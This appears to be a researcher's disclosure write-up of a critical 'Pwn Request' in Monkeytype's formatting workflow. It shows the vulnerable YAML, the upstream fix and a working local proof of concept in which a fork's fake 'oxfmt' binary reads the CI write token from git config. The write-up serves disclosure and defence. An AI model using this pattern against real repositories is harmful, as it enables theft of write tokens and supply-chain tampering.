Skip to main content

CVE-2026-118762: Pwn Request in Monkeytype's fix-formatting workflow

CVECVE-2026-118762
AdvisoryGHSA-47v3-j88w-92f8
Targetmonkeytypegame/monkeytype, .github/workflows/fix-formatting.yml
SeverityCritical, CVSS 3.1 base score 9.3 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
WeaknessCWE-829, inclusion of functionality from an untrusted control sphere
Fixed incommit 592ce1b
Creditme, reporter

This is my first CVE, so I'm writing it up properly.

The short version: a workflow that ran with a repo write token also checked out a stranger's fork and ran a program from that fork's package.json. Whoever controls the fork controls that program. So a random contributor could run code on the runner with a token that can push to Monkeytype.

It doesn't touch monkeytype.com itself, only the GitHub repo and its CI.


TL;DR, in plain words

If you don't know much about CI, start here.

CI is a robot. When something happens on a repo, like a pull request being opened or a label being added, GitHub starts a robot that follows a script. Every robot gets a badge (the GITHUB_TOKEN) that decides what it's allowed to do. A read-only badge can only look around. A write badge can push code.

A pull request from a fork comes from a stranger, so GitHub gives you two ways to react to it:

  • pull_request: the robot runs the stranger's code, but with a read-only badge. That's safe, because the badge is useless.
  • pull_request_target: the robot runs the maintainers' script, with a write badge. It exists for jobs that need real power, like adding labels, leaving comments or pushing a fix. It's safe by default because the robot never downloads the stranger's files.

Monkeytype's workflow used the second one, and it starts when a maintainer adds the format label to a PR. This is how it went wrong:

  1. A stranger opens a normal-looking PR from their fork. The fork has a trick hidden in its package.json.
  2. A maintainer adds the format label, expecting the bot to tidy up the formatting.
  3. The robot starts, holding the write badge. It downloads the stranger's fork, installs the tools listed in the stranger's package.json, and runs pnpm oxfmt.
  4. Which program is oxfmt? Whatever the stranger's package.json says. They pointed it at their own file. So the robot runs the stranger's program while holding the write badge, and that program can read the badge and send it away.

The cause is that trusted and untrusted things got mixed in the same job. It's a bit like a bank teller with the vault key who does whatever the customer's note says. Reading the stranger's files is fine. Running anything they point to is not, not while the robot has a write badge. The fix does exactly that: the formatter now comes from the main branch, and the PR is only text to be formatted.

(The --ignore-scripts flag in the workflow doesn't help here. Section 3 explains why.)


1. What a Pwn Request is

GitHub has two triggers for pull requests, and they behave very differently.

  • pull_request: runs the workflow from the PR's code, with a read-only token and no secrets when the PR comes from a fork. Safe by design.
  • pull_request_target: runs the workflow from the base branch, with a write token and access to secrets. Meant for things like labelling or commenting on PRs.

The second one is fine until the workflow also checks out the PR's code and runs something from it. Then attacker code runs with the privileged token. GitHub Security Lab named this a "Pwn Request". The rule is: never build, install or execute anything from a pull_request_target checkout of untrusted code.

2. The workflow

Here is the relevant part of fix-formatting.yml, from before the fix:

permissions:
contents: write
pull-requests: write

on:
pull_request_target:
types: [labeled]

jobs:
format:
if: github.event.label.name == 'format'
steps:
- name: Checkout code
uses: actions/checkout@v6
with:
repository: ${{ github.event.pull_request.head.repo.full_name }} # the contributor's fork
ref: ${{ github.event.pull_request.head.sha }} # their commit

- name: Install
run: pnpm install --ignore-scripts

- name: Fix formatting
run: xargs -0 pnpm oxfmt --no-error-on-unmatched-pattern < /tmp/changed-files.txt

- name: Commit changes
uses: stefanzweifel/git-auto-commit-action@v5

A maintainer adds the format label to a PR, and the bot formats the changed files and pushes a commit to the PR branch. That is a nice feature. The problem is that it needs write access, so it uses pull_request_target, and then it checks out the fork.

3. Why --ignore-scripts doesn't save it

I'd guess the authors knew install scripts are dangerous, which is why the install has --ignore-scripts. That flag turns off lifecycle hooks like preinstall and postinstall.

It doesn't stop the next step. pnpm oxfmt runs whatever oxfmt resolves to in the checkout's node_modules/.bin. And what oxfmt is comes from the fork's package.json. The PR author just points oxfmt at their own package, and that package declares a bin called oxfmt. When the workflow runs pnpm oxfmt, it runs their file. No install hook needed.

4. Proof of concept

I did this locally with the same two commands the workflow runs. In an empty folder:

attacker-fork/package.json

{
"name": "victim-fork-of-monkeytype",
"private": true,
"devDependencies": {
"oxfmt": "link:./evil-oxfmt"
}
}

attacker-fork/evil-oxfmt/package.json

{
"name": "oxfmt",
"version": "999.0.0",
"bin": { "oxfmt": "./run.js" }
}

attacker-fork/evil-oxfmt/run.js

#!/usr/bin/env node
const fs = require("fs");
const { execSync } = require("child_process");

let stolenCreds = "(no .git/config found in this local repro)";
try {
stolenCreds = execSync(
"git config --get http.https://github.com/.extraheader || true",
{ cwd: process.env.REPRO_REPO_DIR || "." }
).toString().trim();
} catch {}

fs.writeFileSync(
"/tmp/pwned-marker.txt",
`ATTACKER CODE EXECUTED as the CI runner user.\nWould have exfiltrated: ${stolenCreds || "<token would be here in real CI>"}\n`
);
console.error("[evil-oxfmt] pretending to format files...");
process.exit(0);

Then the same commands as the workflow:

rm -f /tmp/pwned-marker.txt
pnpm install --ignore-scripts
pnpm oxfmt --no-error-on-unmatched-pattern package.json
cat /tmp/pwned-marker.txt
ATTACKER CODE EXECUTED as the CI runner user.
Would have exfiltrated: <token would be here in real CI>

I used a marker file instead of a real exfiltration on purpose. I never ran anything against Monkeytype's actual CI. The local run shows that --ignore-scripts doesn't stop the bin from running, and that is the whole bug.

In the real workflow the "would have exfiltrated" line would be the live token. actions/checkout writes it into .git/config as http.https://github.com/.extraheader, because persist-credentials defaults to true. Any process later in the job can read it, including the fake formatter.

5. Impact

The attacker gets a GITHUB_TOKEN with contents: write and pull-requests: write on the repo, for as long as the job runs. With that they could:

  • push commits, branches or tags to the repository
  • edit, comment on or relabel other people's PRs and issues
  • change what the workflow itself commits back to the PR branch

What I want to be clear about: the website, its database and user accounts are not touched. The damage is confined to the repo and its CI. But write access to the source of a very popular project is a supply chain problem, which is why it scores Critical, with scope changed.

6. The fix

The maintainers fixed it quickly. The fix commit is public, and this is what changed in the workflow:

  • The base repo is checked out first, with only package.json, .oxfmtrc.json and the tailwind stylesheet (sparse checkout), and persist-credentials: false.
  • The PR goes into a separate pr/ folder, also with persist-credentials: false, and the comment says it is "only formatted, never executed".
  • oxfmt is installed from the version pinned on the base branch, into the runner temp folder. Nothing is installed from the fork.
  • Only regular files that really sit inside pr/ get formatted. Symlinks are skipped, because the formatter follows them and could write outside the checkout.
  • oxfmt runs with the base branch's config and --disable-nested-config, so a config file from the PR can't be loaded.
  • The write token is only put into git config in a later step, after all the PR content has been processed.

I went through the new version and checked it: no code from the PR runs anymore, the formatter and its config come from base, and the token shows up only after formatting. The symlink case is handled too.

One small thing I'd still change: pin the third-party actions that get the write token (git-auto-commit-action, the label remover) to commit SHAs instead of tags.

7. Timeline

  • 22 Sep 2026: reported privately through a GitHub security advisory, with the PoC
  • 8 Oct 2026: fix merged, advisory published
  • after that: GitHub reviewed it and assigned CVE-2026-118762

8. What to take from this

If you read GitHub Actions workflows (for bug bounty or for your own repos), this is the pattern to grep for:

  1. pull_request_target as the trigger
  2. a checkout of github.event.pull_request.head.*
  3. any step after it that installs, builds or runs something from that checkout

If those three show up in one workflow, look closer. --ignore-scripts is not a safe-guard on its own. Anything that runs a binary from the fork is code execution.

For fixing it: don't run the fork's code in the privileged job at all, set persist-credentials: false on every checkout of untrusted code, and give the token only the permissions the job needs.

I use Monkeytype every day, so it was good to see this one get fixed fast.